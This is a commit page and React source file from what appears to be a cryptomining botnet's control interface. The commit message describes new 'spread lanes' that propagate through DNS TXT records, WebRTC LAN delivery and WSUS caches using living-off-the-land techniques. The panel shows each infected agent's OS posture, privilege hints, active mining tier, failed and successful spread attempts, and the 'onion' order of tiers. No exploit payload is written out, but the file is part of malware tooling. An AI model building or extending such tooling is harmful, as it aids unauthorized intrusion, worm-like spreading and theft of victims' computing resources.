Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
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Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
AetherForge
2026-06-07 01:07:55 -07:00
parent 652356bfe6
commit 0be2de81a5
100 changed files with 3447 additions and 213 deletions

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import { useEffect, useMemo, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import {
buildAccessDepthModel,
parseAccessDepthServerPolicy,
type AccessDepthDiagnostics,
} from '../../help/accessDepth';
import type { Agent } from '../../types';
import { HelpTip } from '../HelpTip';
import JoinLaneBadge from './JoinLaneBadge';
import LotlTierBadge from './LotlTierBadge';
import './AccessDepthPanel.css';
import './LotlVisuals.css';
import './ReconVisuals.css';
interface Props {
agent: Agent;
diagnostics?: AccessDepthDiagnostics;
}
function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthModel>['miningOnion']; empty: string }) {
if (rows.length === 0) {
return <div className="access-depth-empty">{empty}</div>;
}
return (
<ol className="access-depth-onion-list">
{rows.map((row) => (
<li key={`${row.index}-${row.tier}`} className={`access-depth-onion-item access-depth-onion-item--${row.status}`}>
<span className="access-depth-onion-idx">{row.index}.</span>
<span className="access-depth-onion-label">{row.label}</span>
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
</li>
))}
</ol>
);
}
function AttemptMiniList({
rows,
empty,
}: {
rows: ReturnType<typeof buildAccessDepthModel>['succeeded'];
empty: string;
}) {
if (rows.length === 0) return <div className="access-depth-empty">{empty}</div>;
return (
<ul className="access-depth-attempt-list">
{rows.map((row, i) => (
<li key={`${row.tier}-${i}`} className="access-depth-attempt-row">
<span className={`lotl-attempt-icon ${row.ok ? 'ok' : 'fail'}`}>{row.ok ? '✓' : '✗'}</span>
<span className="access-depth-attempt-tier">{row.label}</span>
{row.phase && <span className="access-depth-phase">{row.phase}</span>}
{!row.ok && row.error && <span className="lotl-attempt-err">{row.error}</span>}
</li>
))}
</ul>
);
}
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
const [policyLoaded, setPolicyLoaded] = useState(false);
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
useEffect(() => {
let cancelled = false;
api
.getConfig()
.then((cfg) => {
if (!cancelled) {
setServerPolicy(parseAccessDepthServerPolicy(cfg));
setPolicyLoaded(true);
}
})
.catch(() => {
if (!cancelled) setPolicyLoaded(true);
});
return () => {
cancelled = true;
};
}, []);
const model = useMemo(
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
[agent, diagnostics, serverPolicy],
);
return (
<section className="access-depth-panel lotl-attempts-block" aria-label="Access depth">
<div className="access-depth-header">
<span className="lotl-attempts-title">
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
</span>
{!policyLoaded && <span className="access-depth-muted">loading policy</span>}
</div>
<div className="access-depth-grid">
<div className="access-depth-section">
<div className="access-depth-section-title">OS &amp; posture</div>
<div className="access-depth-os-line">{model.osLine}</div>
{model.probes.length > 0 && (
<div className="access-depth-probes">
{model.probes.map((p) => (
<span key={p.key} className={`access-depth-probe ${p.ok ? 'ok' : 'no'}`}>
{p.label}
</span>
))}
</div>
)}
{model.spreadCaps.length > 0 && (
<div className="access-depth-meta">
spread: {model.spreadCaps.join(', ')}
</div>
)}
{model.privilegeHints.length > 0 && (
<div className="access-depth-meta">
{model.privilegeHints.join(' · ')}
</div>
)}
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Active</div>
{model.activeTier ? (
<LotlTierBadge tier={model.activeTier} attempts={agent.lotl_attempts} variant="inline" />
) : (
<div className="access-depth-empty">No active mining tier</div>
)}
{model.joinLane ? (
<div className="access-depth-join">
join lane <JoinLaneBadge lane={model.joinLane} />
</div>
) : (
<div className="access-depth-muted">No join lane yet</div>
)}
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Succeeded</div>
<AttemptMiniList rows={model.succeeded} empty="No successful tier attempts" />
</div>
<div className="access-depth-section">
<div className="access-depth-section-title">Failed / in progress</div>
<AttemptMiniList rows={model.failed} empty="No failed attempts" />
{model.inProgressLabel && (
<div className="access-depth-in-progress">
trying <strong>{model.inProgressLabel}</strong>
</div>
)}
{model.pendingLabels.length > 0 && (
<div className="access-depth-pending">
pending: {model.pendingLabels.slice(0, 6).join(' → ')}
{model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''}
</div>
)}
</div>
</div>
<div className="access-depth-section access-depth-onion-block">
<div className="access-depth-section-title">
Effective onion order
<span className="access-depth-source">({model.miningOrderSource})</span>
</div>
<div className="access-depth-onion-columns">
<div>
<div className="access-depth-onion-subtitle">Mining tiers</div>
<OnionList rows={model.miningOnion} empty="No mining tier chain" />
</div>
<div>
<div className="access-depth-onion-subtitle">
Spread contingency{' '}
<Link to="/settings" className="access-depth-calibrate-link">
Calibrate
</Link>
</div>
<OnionList rows={model.spreadOnion} empty="Default spread order" />
</div>
</div>
{model.tripleOnionSummary && (
<div className="access-depth-triple">
Triple onion: {model.tripleOnionSummary}
</div>
)}
<p className="access-depth-hint">
<HelpTip field="crucible_access_depth_calibrate" label="?" />{' '}
Calibrate <Link to="/settings">lotl_onion_tiers</Link> changes spread order on next agent reconnect.
</p>
</div>
</section>
);
}